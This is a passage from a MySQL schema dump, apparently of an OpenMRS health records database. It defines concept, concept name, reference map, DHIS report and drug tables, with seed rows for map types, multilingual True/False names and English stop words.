00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'fa9538a9-7d8e-11e1-909d-c80aa9edcf4e'),(62,'Using device',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'06588655-7d8f-11e1-909d-c80aa9edcf4e'),(63,'Using energy',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'0c2ae0bc-7d8f-11e1-909d-c80aa9edcf4e'),(64,'Using substance',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'13d2c607-7d8f-11e1-909d-c80aa9edcf4e'),(65,'IS A',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'1ce7a784-7d8f-11e1-909d-c80aa9edcf4e'),(66,'MAY BE A',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'267812a3-7d8f-11e1-909d-c80aa9edcf4e'),(67,'MOVED FROM',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'2de3168e-7d8f-11e1-909d-c80aa9edcf4e'),(68,'MOVED TO',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'32f0fd99-7d8f-11e1-909d-c80aa9edcf4e'),(69,'REPLACED BY',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'3b3b9a7d-7d8f-11e1-909d-c80aa9edcf4e'),(70,'WAS A',NULL,1,'2016-10-27 00:00:00',NULL,NULL,1,0,NULL,NULL,NULL,'41a034da-7d8f-11e1-909d-c80aa9edcf4e'); /*!40000 ALTER TABLE `concept_map_type` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept_name` -- DROP TABLE IF EXISTS `concept_name`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept_name` ( `concept_name_id` int(11) NOT NULL AUTO_INCREMENT, `concept_id` int(11) DEFAULT NULL, `name` varchar(255) NOT NULL DEFAULT '', `locale` varchar(50) NOT NULL DEFAULT '', `locale_preferred` tinyint(1) DEFAULT '0', `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `concept_name_type` varchar(50) DEFAULT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`concept_name_id`), UNIQUE KEY `concept_name_uuid_index` (`uuid`), KEY `name_of_concept` (`name`), KEY `name_for_concept` (`concept_id`), KEY `user_who_created_name` (`creator`), KEY `user_who_voided_this_name` (`voided_by`), CONSTRAINT `name_for_concept` FOREIGN KEY (`concept_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `user_who_created_name` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_voided_this_name` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=21 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept_name` -- LOCK TABLES `concept_name` WRITE; /*!40000 ALTER TABLE `concept_name` DISABLE KEYS */; INSERT INTO `concept_name` VALUES (1,1,'Vero','it',0,1,'2016-10-27 07:11:48',NULL,0,NULL,NULL,NULL,'09306239-1fd4-48dc-808a-79d808c1a178'),(2,1,'Sì','it',0,1,'2016-10-27 07:11:48',NULL,0,NULL,NULL,NULL,'74fa8046-b74e-4ebc-ae6c-e75705e74155'),(3,1,'Verdadeiro','pt',0,1,'2016-10-27 07:11:48',NULL,0,NULL,NULL,NULL,'9af8029b-1099-4ba9-bd70-ee438e05597f'),(4,1,'Sim','pt',0,1,'2016-10-27 07:11:48',NULL,0,NULL,NULL,NULL,'7b74374e-fd03-469a-a07e-955a3a79c0a9'),(5,1,'Vrai','fr',0,1,'2016-10-27 07:11:48',NULL,0,NULL,NULL,NULL,'439a1dc6-29de-411f-ba20-fdfb5d5667a6'),(6,1,'Oui','fr',0,1,'2016-10-27 07:11:48',NULL,0,NULL,NULL,NULL,'58d87d61-8424-4edd-9c7a-9f15d48fd75a'),(7,1,'True','en',1,1,'2016-10-27 07:11:48','FULLY_SPECIFIED',0,NULL,NULL,NULL,'7c654455-5130-4d66-b105-40b28c0d13d4'),(8,1,'Yes','en',0,1,'2016-10-27 07:11:48',NULL,0,NULL,NULL,NULL,'89eb531c-9b5e-47b7-a8a5-842d964847a3'),(9,1,'Verdadero','es',0,1,'2016-10-27 07:11:48',NULL,0,NULL,NULL,NULL,'1d1cab0a-999e-4982-b200-20bf0b275781'),(10,1,'Sí','es',0,1,'2016-10-27 07:11:48',NULL,0,NULL,NULL,NULL,'457ff151-b3de-4cbe-9d9a-3f69369ce8cf'),(11,2,'Falso','it',0,1,'2016-10-27 07:11:48',NULL,0,NULL,NULL,NULL,'98046d65-b912-4843-ac78-fc3a0abdc7ca'),(12,2,'No','it',0,1,'2016-10-27 07:11:48',NULL,0,NULL,NULL,NULL,'425cf6f5-7bd0-4a55-95c5-78c46f95bbb4'),(13,2,'Falso','pt',0,1,'2016-10-27 07:11:48',NULL,0,NULL,NULL,NULL,'911abd01-e099-4947-994a-c93da68f2f9a'),(14,2,'Não','pt',0,1,'2016-10-27 07:11:48',NULL,0,NULL,NULL,NULL,'f8bdac78-94ad-4654-942b-62776dda78a4'),(15,2,'Faux','fr',0,1,'2016-10-27 07:11:48',NULL,0,NULL,NULL,NULL,'b04478f6-fea9-4819-bc22-c3e13c593cae'),(16,2,'Non','fr',0,1,'2016-10-27 07:11:48',NULL,0,NULL,NULL,NULL,'95da0c72-4551-468e-b78e-112b46fad17e'),(17,2,'False','en',1,1,'2016-10-27 07:11:48','FULLY_SPECIFIED',0,NULL,NULL,NULL,'2a7e4692-739a-4617-b6ab-e06fd178f120'),(18,2,'No','en',0,1,'2016-10-27 07:11:48',NULL,0,NULL,NULL,NULL,'ccd3b52a-752a-4eb1-ab2a-3a4189a9568a'),(19,2,'Falso','es',0,1,'2016-10-27 07:11:48',NULL,0,NULL,NULL,NULL,'40c989a6-b06e-4ad4-b315-7ed693600d3c'),(20,2,'No','es',0,1,'2016-10-27 07:11:48',NULL,0,NULL,NULL,NULL,'cd79a844-ac5a-43d7-8de8-4761805c2e5a'); /*!40000 ALTER TABLE `concept_name` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept_name_tag` -- DROP TABLE IF EXISTS `concept_name_tag`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept_name_tag` ( `concept_name_tag_id` int(11) NOT NULL AUTO_INCREMENT, `tag` varchar(50) NOT NULL, `description` text, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`concept_name_tag_id`), UNIQUE KEY `concept_name_tag_unique_tags` (`tag`), UNIQUE KEY `concept_name_tag_uuid_index` (`uuid`), KEY `user_who_created_name_tag` (`creator`), KEY `user_who_voided_name_tag` (`voided_by`) ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept_name_tag` -- LOCK TABLES `concept_name_tag` WRITE; /*!40000 ALTER TABLE `concept_name_tag` DISABLE KEYS */; /*!40000 ALTER TABLE `concept_name_tag` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept_name_tag_map` -- DROP TABLE IF EXISTS `concept_name_tag_map`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept_name_tag_map` ( `concept_name_id` int(11) NOT NULL, `concept_name_tag_id` int(11) NOT NULL, KEY `mapped_concept_name` (`concept_name_id`), KEY `mapped_concept_name_tag` (`concept_name_tag_id`), CONSTRAINT `mapped_concept_name` FOREIGN KEY (`concept_name_id`) REFERENCES `concept_name` (`concept_name_id`), CONSTRAINT `mapped_concept_name_tag` FOREIGN KEY (`concept_name_tag_id`) REFERENCES `concept_name_tag` (`concept_name_tag_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept_name_tag_map` -- LOCK TABLES `concept_name_tag_map` WRITE; /*!40000 ALTER TABLE `concept_name_tag_map` DISABLE KEYS */; /*!40000 ALTER TABLE `concept_name_tag_map` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept_numeric` -- DROP TABLE IF EXISTS `concept_numeric`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept_numeric` ( `concept_id` int(11) NOT NULL DEFAULT '0', `hi_absolute` double DEFAULT NULL, `hi_critical` double DEFAULT NULL, `hi_normal` double DEFAULT NULL, `low_absolute` double DEFAULT NULL, `low_critical` double DEFAULT NULL, `low_normal` double DEFAULT NULL, `units` varchar(50) DEFAULT NULL, `precise` tinyint(1) NOT NULL DEFAULT '0', `display_precision` int(11) DEFAULT NULL, PRIMARY KEY (`concept_id`), CONSTRAINT `numeric_attributes` FOREIGN KEY (`concept_id`) REFERENCES `concept` (`concept_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept_numeric` -- LOCK TABLES `concept_numeric` WRITE; /*!40000 ALTER TABLE `concept_numeric` DISABLE KEYS */; /*!40000 ALTER TABLE `concept_numeric` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept_proposal` -- DROP TABLE IF EXISTS `concept_proposal`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept_proposal` ( `concept_proposal_id` int(11) NOT NULL AUTO_INCREMENT, `concept_id` int(11) DEFAULT NULL, `encounter_id` int(11) DEFAULT NULL, `original_text` varchar(255) NOT NULL DEFAULT '', `final_text` varchar(255) DEFAULT NULL, `obs_id` int(11) DEFAULT NULL, `obs_concept_id` int(11) DEFAULT NULL, `state` varchar(32) NOT NULL DEFAULT 'UNMAPPED', `comments` varchar(255) DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `locale` varchar(50) NOT NULL DEFAULT '', `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`concept_proposal_id`), UNIQUE KEY `concept_proposal_uuid_index` (`uuid`), KEY `user_who_changed_proposal` (`changed_by`), KEY `concept_for_proposal` (`concept_id`), KEY `user_who_created_proposal` (`creator`), KEY `encounter_for_proposal` (`encounter_id`), KEY `proposal_obs_concept_id` (`obs_concept_id`), KEY `proposal_obs_id` (`obs_id`), CONSTRAINT `concept_for_proposal` FOREIGN KEY (`concept_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `encounter_for_proposal` FOREIGN KEY (`encounter_id`) REFERENCES `encounter` (`encounter_id`), CONSTRAINT `proposal_obs_concept_id` FOREIGN KEY (`obs_concept_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `proposal_obs_id` FOREIGN KEY (`obs_id`) REFERENCES `obs` (`obs_id`), CONSTRAINT `user_who_changed_proposal` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_created_proposal` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept_proposal` -- LOCK TABLES `concept_proposal` WRITE; /*!40000 ALTER TABLE `concept_proposal` DISABLE KEYS */; /*!40000 ALTER TABLE `concept_proposal` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept_proposal_tag_map` -- DROP TABLE IF EXISTS `concept_proposal_tag_map`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept_proposal_tag_map` ( `concept_proposal_id` int(11) NOT NULL, `concept_name_tag_id` int(11) NOT NULL, KEY `mapped_concept_proposal_tag` (`concept_name_tag_id`), KEY `mapped_concept_proposal` (`concept_proposal_id`), CONSTRAINT `mapped_concept_proposal` FOREIGN KEY (`concept_proposal_id`) REFERENCES `concept_proposal` (`concept_proposal_id`), CONSTRAINT `mapped_concept_proposal_tag` FOREIGN KEY (`concept_name_tag_id`) REFERENCES `concept_name_tag` (`concept_name_tag_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept_proposal_tag_map` -- LOCK TABLES `concept_proposal_tag_map` WRITE; /*!40000 ALTER TABLE `concept_proposal_tag_map` DISABLE KEYS */; /*!40000 ALTER TABLE `concept_proposal_tag_map` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept_reference_map` -- DROP TABLE IF EXISTS `concept_reference_map`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept_reference_map` ( `concept_map_id` int(11) NOT NULL AUTO_INCREMENT, `concept_reference_term_id` int(11) NOT NULL, `concept_map_type_id` int(11) NOT NULL DEFAULT '1', `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `concept_id` int(11) NOT NULL DEFAULT '0', `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`concept_map_id`), KEY `map_for_concept` (`concept_id`), KEY `map_creator` (`creator`), KEY `mapped_concept_map_type` (`concept_map_type_id`), KEY `mapped_user_changed_ref_term` (`changed_by`), KEY `mapped_concept_reference_term` (`concept_reference_term_id`), CONSTRAINT `map_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `map_for_concept` FOREIGN KEY (`concept_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `mapped_concept_map_type` FOREIGN KEY (`concept_map_type_id`) REFERENCES `concept_map_type` (`concept_map_type_id`), CONSTRAINT `mapped_concept_reference_term` FOREIGN KEY (`concept_reference_term_id`) REFERENCES `concept_reference_term` (`concept_reference_term_id`), CONSTRAINT `mapped_user_changed_ref_term` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept_reference_map` -- LOCK TABLES `concept_reference_map` WRITE; /*!40000 ALTER TABLE `concept_reference_map` DISABLE KEYS */; /*!40000 ALTER TABLE `concept_reference_map` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept_reference_source` -- DROP TABLE IF EXISTS `concept_reference_source`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept_reference_source` ( `concept_source_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(50) NOT NULL DEFAULT '', `description` text NOT NULL, `hl7_code` varchar(50) DEFAULT '', `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`concept_source_id`), UNIQUE KEY `concept_source_unique_hl7_codes` (`hl7_code`), KEY `unique_hl7_code` (`hl7_code`), KEY `concept_source_creator` (`creator`), KEY `user_who_retired_concept_source` (`retired_by`), CONSTRAINT `concept_source_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_retired_concept_source` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept_reference_source` -- LOCK TABLES `concept_reference_source` WRITE; /*!40000 ALTER TABLE `concept_reference_source` DISABLE KEYS */; /*!40000 ALTER TABLE `concept_reference_source` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept_reference_term` -- DROP TABLE IF EXISTS `concept_reference_term`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept_reference_term` ( `concept_reference_term_id` int(11) NOT NULL AUTO_INCREMENT, `concept_source_id` int(11) NOT NULL, `name` varchar(255) DEFAULT NULL, `code` varchar(255) NOT NULL, `version` varchar(255) DEFAULT NULL, `description` varchar(255) DEFAULT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `date_changed` datetime DEFAULT NULL, `changed_by` int(11) DEFAULT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) NOT NULL, PRIMARY KEY (`concept_reference_term_id`), UNIQUE KEY `uuid` (`uuid`), KEY `mapped_user_creator` (`creator`), KEY `mapped_user_changed` (`changed_by`), KEY `mapped_user_retired` (`retired_by`), KEY `mapped_concept_source` (`concept_source_id`), KEY `idx_code_concept_reference_term` (`code`), CONSTRAINT `mapped_concept_source` FOREIGN KEY (`concept_source_id`) REFERENCES `concept_reference_source` (`concept_source_id`), CONSTRAINT `mapped_user_changed` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `mapped_user_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `mapped_user_retired` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept_reference_term` -- LOCK TABLES `concept_reference_term` WRITE; /*!40000 ALTER TABLE `concept_reference_term` DISABLE KEYS */; /*!40000 ALTER TABLE `concept_reference_term` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept_reference_term_map` -- DROP TABLE IF EXISTS `concept_reference_term_map`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept_reference_term_map` ( `concept_reference_term_map_id` int(11) NOT NULL AUTO_INCREMENT, `term_a_id` int(11) NOT NULL, `term_b_id` int(11) NOT NULL, `a_is_to_b_id` int(11) NOT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `uuid` char(38) NOT NULL, PRIMARY KEY (`concept_reference_term_map_id`), UNIQUE KEY `uuid` (`uuid`), KEY `mapped_term_a` (`term_a_id`), KEY `mapped_term_b` (`term_b_id`), KEY `mapped_concept_map_type_ref_term_map` (`a_is_to_b_id`), KEY `mapped_user_creator_ref_term_map` (`creator`), KEY `mapped_user_changed_ref_term_map` (`changed_by`), CONSTRAINT `mapped_concept_map_type_ref_term_map` FOREIGN KEY (`a_is_to_b_id`) REFERENCES `concept_map_type` (`concept_map_type_id`), CONSTRAINT `mapped_term_a` FOREIGN KEY (`term_a_id`) REFERENCES `concept_reference_term` (`concept_reference_term_id`), CONSTRAINT `mapped_term_b` FOREIGN KEY (`term_b_id`) REFERENCES `concept_reference_term` (`concept_reference_term_id`), CONSTRAINT `mapped_user_changed_ref_term_map` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `mapped_user_creator_ref_term_map` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept_reference_term_map` -- LOCK TABLES `concept_reference_term_map` WRITE; /*!40000 ALTER TABLE `concept_reference_term_map` DISABLE KEYS */; /*!40000 ALTER TABLE `concept_reference_term_map` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept_set` -- DROP TABLE IF EXISTS `concept_set`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept_set` ( `concept_set_id` int(11) NOT NULL AUTO_INCREMENT, `concept_id` int(11) NOT NULL DEFAULT '0', `concept_set` int(11) NOT NULL DEFAULT '0', `sort_weight` double DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`concept_set_id`), UNIQUE KEY `concept_set_uuid_index` (`uuid`), KEY `idx_concept_set_concept` (`concept_id`), KEY `has_a` (`concept_set`), KEY `user_who_created` (`creator`), CONSTRAINT `has_a` FOREIGN KEY (`concept_set`) REFERENCES `concept` (`concept_id`), CONSTRAINT `user_who_created` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept_set` -- LOCK TABLES `concept_set` WRITE; /*!40000 ALTER TABLE `concept_set` DISABLE KEYS */; /*!40000 ALTER TABLE `concept_set` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept_state_conversion` -- DROP TABLE IF EXISTS `concept_state_conversion`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept_state_conversion` ( `concept_state_conversion_id` int(11) NOT NULL AUTO_INCREMENT, `concept_id` int(11) DEFAULT '0', `program_workflow_id` int(11) DEFAULT '0', `program_workflow_state_id` int(11) DEFAULT '0', `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`concept_state_conversion_id`), UNIQUE KEY `unique_workflow_concept_in_conversion` (`program_workflow_id`,`concept_id`), UNIQUE KEY `concept_state_conversion_uuid_index` (`uuid`), KEY `concept_triggers_conversion` (`concept_id`), KEY `conversion_to_state` (`program_workflow_state_id`), CONSTRAINT `concept_triggers_conversion` FOREIGN KEY (`concept_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `conversion_involves_workflow` FOREIGN KEY (`program_workflow_id`) REFERENCES `program_workflow` (`program_workflow_id`), CONSTRAINT `conversion_to_state` FOREIGN KEY (`program_workflow_state_id`) REFERENCES `program_workflow_state` (`program_workflow_state_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept_state_conversion` -- LOCK TABLES `concept_state_conversion` WRITE; /*!40000 ALTER TABLE `concept_state_conversion` DISABLE KEYS */; /*!40000 ALTER TABLE `concept_state_conversion` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `concept_stop_word` -- DROP TABLE IF EXISTS `concept_stop_word`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `concept_stop_word` ( `concept_stop_word_id` int(11) NOT NULL AUTO_INCREMENT, `word` varchar(50) NOT NULL, `locale` varchar(50) DEFAULT NULL, `uuid` char(38) NOT NULL, PRIMARY KEY (`concept_stop_word_id`), UNIQUE KEY `Unique_StopWord_Key` (`word`,`locale`) ) ENGINE=InnoDB AUTO_INCREMENT=11 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `concept_stop_word` -- LOCK TABLES `concept_stop_word` WRITE; /*!40000 ALTER TABLE `concept_stop_word` DISABLE KEYS */; INSERT INTO `concept_stop_word` VALUES (1,'A','en','f5f45540-e2a7-11df-87ae-18a905e044dc'),(2,'AND','en','f5f469ae-e2a7-11df-87ae-18a905e044dc'),(3,'AT','en','f5f47070-e2a7-11df-87ae-18a905e044dc'),(4,'BUT','en','f5f476c4-e2a7-11df-87ae-18a905e044dc'),(5,'BY','en','f5f47d04-e2a7-11df-87ae-18a905e044dc'),(6,'FOR','en','f5f4834e-e2a7-11df-87ae-18a905e044dc'),(7,'HAS','en','f5f48a24-e2a7-11df-87ae-18a905e044dc'),(8,'OF','en','f5f49064-e2a7-11df-87ae-18a905e044dc'),(9,'THE','en','f5f496ae-e2a7-11df-87ae-18a905e044dc'),(10,'TO','en','f5f49cda-e2a7-11df-87ae-18a905e044dc'); /*!40000 ALTER TABLE `concept_stop_word` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `dhisreport_dataelement` -- DROP TABLE IF EXISTS `dhisreport_dataelement`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `dhisreport_dataelement` ( `id` int(11) NOT NULL AUTO_INCREMENT, `de_name` varchar(255) NOT NULL, `uid` varchar(255) NOT NULL, `code` varchar(255) NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `code` (`code`), UNIQUE KEY `uid` (`uid`) ) ENGINE=InnoDB AUTO_INCREMENT=813 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `dhisreport_dataelement` -- LOCK TABLES `dhisreport_dataelement` WRITE; /*!40000 ALTER TABLE `dhisreport_dataelement` DISABLE KEYS */; /*!40000 ALTER TABLE `dhisreport_dataelement` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `dhisreport_datavalue_template` -- DROP TABLE IF EXISTS `dhisreport_datavalue_template`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `dhisreport_datavalue_template` ( `id` int(11) NOT NULL AUTO_INCREMENT, `report_definition_id` int(11) NOT NULL, `dataelement_id` int(11) NOT NULL, `disaggregation_id` int(11) NOT NULL, `query` text, PRIMARY KEY (`id`), KEY `fk_dataelement_datavaluetemplate` (`dataelement_id`), KEY `fk_disaggregation_datavaluetemplate` (`disaggregation_id`), KEY `fk_report_definition_datavaluetemplate` (`report_definition_id`), CONSTRAINT `fk_dataelement_datavaluetemplate` FOREIGN KEY (`dataelement_id`) REFERENCES `dhisreport_dataelement` (`id`), CONSTRAINT `fk_disaggregation_datavaluetemplate` FOREIGN KEY (`disaggregation_id`) REFERENCES `dhisreport_disaggregation` (`id`), CONSTRAINT `fk_report_definition_datavaluetemplate` FOREIGN KEY (`report_definition_id`) REFERENCES `dhisreport_report_definition` (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=828 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `dhisreport_datavalue_template` -- LOCK TABLES `dhisreport_datavalue_template` WRITE; /*!40000 ALTER TABLE `dhisreport_datavalue_template` DISABLE KEYS */; /*!40000 ALTER TABLE `dhisreport_datavalue_template` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `dhisreport_disaggregation` -- DROP TABLE IF EXISTS `dhisreport_disaggregation`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `dhisreport_disaggregation` ( `id` int(11) NOT NULL AUTO_INCREMENT, `disagg_name` varchar(255) NOT NULL, `uid` varchar(255) NOT NULL, `code` varchar(255) NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `uid` (`uid`), UNIQUE KEY `code` (`code`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `dhisreport_disaggregation` -- LOCK TABLES `dhisreport_disaggregation` WRITE; /*!40000 ALTER TABLE `dhisreport_disaggregation` DISABLE KEYS */; /*!40000 ALTER TABLE `dhisreport_disaggregation` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `dhisreport_report_definition` -- DROP TABLE IF EXISTS `dhisreport_report_definition`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `dhisreport_report_definition` ( `id` int(11) NOT NULL AUTO_INCREMENT, `report_name` varchar(255) NOT NULL, `uid` varchar(255) NOT NULL, `code` varchar(255) NOT NULL, `periodType` varchar(16) DEFAULT NULL, `reportingreportuuid` char(38) DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `code` (`code`), UNIQUE KEY `uid` (`uid`) ) ENGINE=InnoDB AUTO_INCREMENT=15 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `dhisreport_report_definition` -- LOCK TABLES `dhisreport_report_definition` WRITE; /*!40000 ALTER TABLE `dhisreport_report_definition` DISABLE KEYS */; /*!40000 ALTER TABLE `dhisreport_report_definition` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `drug` -- DROP TABLE IF EXISTS `drug`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `drug` ( `drug_id` int(11) NOT NULL AUTO_INCREMENT, `concept_id` int(11) NOT NULL DEFAULT '0', `name` varchar(255) DEFAULT NULL, `combination` tinyint(1) NOT NULL DEFAULT '0', `dosage_form` int(11) DEFAULT NULL, `maximum_daily_dose` double DEFAULT NULL, `minimum_daily_dose` double DEFAULT NULL, `route` int(11) DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) 